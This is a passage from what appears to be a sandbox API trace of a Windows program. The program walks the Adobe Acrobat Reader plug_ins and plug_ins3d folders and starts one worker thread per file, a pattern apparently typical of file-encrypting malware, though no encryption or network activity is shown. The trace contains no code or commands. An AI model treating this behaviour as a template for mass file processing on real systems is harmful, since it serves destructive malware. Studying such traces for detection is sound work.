	[0089.707] wcscat (in: _Dest=0x4893a60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.707] wcscat (in: _Dest=0x4893a60, _Source="Search.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api"
	[0089.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4893a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d80
	[0089.708] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe067842e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1663, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.api", cAlternateFileName="")) returned 1
	[0089.708] wcscmp (_String1="SendMail.api", _String2=".") returned 1
	[0089.708] wcscmp (_String1="SendMail.api", _String2="..") returned 1
	[0089.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4893b00
	[0089.708] wcscpy (in: _Dest=0x4893b00, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.708] wcscat (in: _Dest=0x4893b00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.708] wcscat (in: _Dest=0x4893b00, _Source="SendMail.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api"
	[0089.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4893b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d84
	[0089.709] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfad8cb5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4a463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.api", cAlternateFileName="")) returned 1
	[0089.709] wcscmp (_String1="Spelling.api", _String2=".") returned 1
	[0089.709] wcscmp (_String1="Spelling.api", _String2="..") returned 1
	[0089.709] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4893ba0
	[0089.709] wcscpy (in: _Dest=0x4893ba0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.709] wcscat (in: _Dest=0x4893ba0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.709] wcscat (in: _Dest=0x4893ba0, _Source="Spelling.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api"
	[0089.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4893ba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d88
	[0089.710] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda6f4116, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x4d663, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageConnectors.api", cAlternateFileName="STORAG~1.API")) returned 1
	[0089.710] wcscmp (_String1="StorageConnectors.api", _String2=".") returned 1
	[0089.710] wcscmp (_String1="StorageConnectors.api", _String2="..") returned 1
	[0089.710] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481b0b0
	[0089.710] wcscpy (in: _Dest=0x481b0b0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.710] wcscat (in: _Dest=0x481b0b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.710] wcscat (in: _Dest=0x481b0b0, _Source="StorageConnectors.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api"
	[0089.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481b0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8c
	[0089.711] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x24063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.api", cAlternateFileName="")) returned 1
	[0089.711] wcscmp (_String1="Updater.api", _String2=".") returned 1
	[0089.711] wcscmp (_String1="Updater.api", _String2="..") returned 1
	[0089.711] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x48946e0
	[0089.711] wcscpy (in: _Dest=0x48946e0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.711] wcscat (in: _Dest=0x48946e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.711] wcscat (in: _Dest=0x48946e0, _Source="Updater.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api"
	[0089.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x48946e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d90
	[0089.711] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 1
	[0089.711] wcscmp (_String1="weblink.api", _String2=".") returned 1
	[0089.711] wcscmp (_String1="weblink.api", _String2="..") returned 1
	[0089.711] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x4893c40
	[0089.711] wcscpy (in: _Dest=0x4893c40, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.711] wcscat (in: _Dest=0x4893c40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.711] wcscat (in: _Dest=0x4893c40, _Source="weblink.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api"
	[0089.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4893c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d94
	[0089.712] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 0
	[0089.712] FindClose (in: hFindFile=0x477b3a8 | out: hFindFile=0x477b3a8) returned 1
	[0089.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dde940) returned 1
	[0089.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ec08) returned 1
	[0089.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498dce0) returned 1

Thread:
	id = 780
	os_tid = 0x1b5c

	[0079.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x86) returned 0x476ec98
	[0079.457] wcscpy (in: _Dest=0x476ec98, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d"
	[0079.457] wcscat (in: _Dest=0x476ec98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\"
	[0079.457] wcscat (in: _Dest=0x476ec98, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\*"
	[0079.457] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddf2e0
	[0079.457] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\*", lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b368
	[0087.407] wcscmp (_String1=".", _String2=".") returned 0
	[0087.407] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.407] wcscmp (_String1="..", _String2=".") returned 1
	[0087.407] wcscmp (_String1="..", _String2="..") returned 0
	[0087.407] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb25160, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xa55f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1
	[0087.407] wcscmp (_String1="2d.x3d", _String2=".") returned 1
	[0087.407] wcscmp (_String1="2d.x3d", _String2="..") returned 1
	[0087.407] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e31840
	[0087.407] wcscpy (in: _Dest=0x4e31840, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d"
	[0087.407] wcscat (in: _Dest=0x4e31840, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\"
	[0087.407] wcscat (in: _Dest=0x4e31840, _Source="2d.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\2d.x3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\2d.x3d"
	[0089.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e31840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad0
	[0089.715] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb4b3cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3c3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3difr.x3d", cAlternateFileName="")) returned 1
	[0089.715] wcscmp (_String1="3difr.x3d", _String2=".") returned 1
	[0089.715] wcscmp (_String1="3difr.x3d", _String2="..") returned 1
	[0089.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x4893ec0
	[0089.715] wcscpy (in: _Dest=0x4893ec0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d"
	[0089.715] wcscat (in: _Dest=0x4893ec0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\"
	[0089.715] wcscat (in: _Dest=0x4893ec0, _Source="3difr.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\3difr.x3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\3difr.x3d"
	[0089.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4893ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d98
	[0089.715] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb71615, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc3ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1
	[0089.715] wcscmp (_String1="drvDX9.x3d", _String2=".") returned 1
	[0089.716] wcscmp (_String1="drvDX9.x3d", _String2="..") returned 1
	[0089.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4893ce0
	[0089.716] wcscpy (in: _Dest=0x4893ce0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d"
	[0089.716] wcscat (in: _Dest=0x4893ce0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\"
	[0089.716] wcscat (in: _Dest=0x4893ce0, _Source="drvDX9.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvDX9.x3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvDX9.x3d"
	[0089.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4893ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d9c
	[0089.717] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfafef26, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1
	[0089.717] wcscmp (_String1="drvSOFT.x3d", _String2=".") returned 1
	[0089.717] wcscmp (_String1="drvSOFT.x3d", _String2="..") returned 1
	[0089.717] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4987d60
	[0089.717] wcscpy (in: _Dest=0x4987d60, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d"
	[0089.717] wcscat (in: _Dest=0x4987d60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\"
	[0089.717] wcscat (in: _Dest=0x4987d60, _Source="drvSOFT.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvSOFT.x3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvSOFT.x3d"
	[0089.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da0
	[0089.717] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc", cAlternateFileName="")) returned 1
	[0089.717] wcscmp (_String1="prc", _String2=".") returned 1
	[0089.717] wcscmp (_String1="prc", _String2="..") returned 1
	[0089.717] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e31ec8
	[0089.717] wcscpy (in: _Dest=0x4e31ec8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d"
	[0089.717] wcscat (in: _Dest=0x4e31ec8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\"
	[0089.717] wcscat (in: _Dest=0x4e31ec8, _Source="prc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc"
	[0089.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4e31ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da4
	[0089.718] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1
	[0089.718] wcscmp (_String1="prcr.x3d", _String2=".") returned 1
	[0089.718] wcscmp (_String1="prcr.x3d", _String2="..") returned 1
	[0089.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4893d80
	[0089.718] wcscpy (in: _Dest=0x4893d80, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d"
	[0089.718] wcscat (in: _Dest=0x4893d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\"
	[0089.718] wcscat (in: _Dest=0x4893d80, _Source="prcr.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prcr.x3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prcr.x3d"
	[0089.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4893d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da8
	[0089.719] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1
	[0089.719] wcscmp (_String1="tesselate.x3d", _String2=".") returned 1
	[0089.719] wcscmp (_String1="tesselate.x3d", _String2="..") returned 1
	[0089.719] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4987778
	[0089.719] wcscpy (in: _Dest=0x4987778, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d"
	[0089.719] wcscat (in: _Dest=0x4987778, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\"
	[0089.719] wcscat (in: _Dest=0x4987778, _Source="tesselate.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\tesselate.x3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\tesselate.x3d"
	[0089.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dac
